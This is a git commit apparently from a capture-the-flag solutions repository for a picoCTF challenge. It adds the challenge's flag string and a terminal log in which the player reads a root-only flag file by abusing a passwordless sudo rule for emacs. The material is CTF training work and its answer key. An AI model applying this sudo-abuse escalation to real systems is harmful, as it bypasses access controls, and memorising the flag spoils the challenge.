misc/sudo_make_me_a_sandwich

2026-07-04 18:37:46 +09:00
parent cf6b0c6f2b
commit 4ca13e8958
2 changed files with 17 additions and 0 deletions
@@ -0,0 +1 @@
+picoCTF{ju57_5ud0_17_d8e1a280}
@@ -0,0 +1,16 @@
+ctf-player@challenge:~$ ls -lah
+total 16K
+drwxr-xr-x 1 ctf-player ctf-player   20 Jul  4 09:35 .
+drwxr-xr-x 1 root       root         24 Mar  9 21:32 ..
+-rw-r--r-- 1 ctf-player ctf-player  220 Feb 25  2020 .bash_logout
+-rw-r--r-- 1 ctf-player ctf-player 3.7K Feb 25  2020 .bashrc
+drwx------ 2 ctf-player ctf-player   34 Jul  4 09:35 .cache
+-rw-r--r-- 1 ctf-player ctf-player  807 Feb 25  2020 .profile
+-r--r----- 1 root       root         31 Mar  9 21:32 flag.txt
+ctf-player@challenge:~$ sudo -l
+Matching Defaults entries for ctf-player on challenge:
+    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
+
+User ctf-player may run the following commands on challenge:
+    (ALL) NOPASSWD: /bin/emacs
+ctf-player@challenge:~$ sudo /bin/emacs flag.txt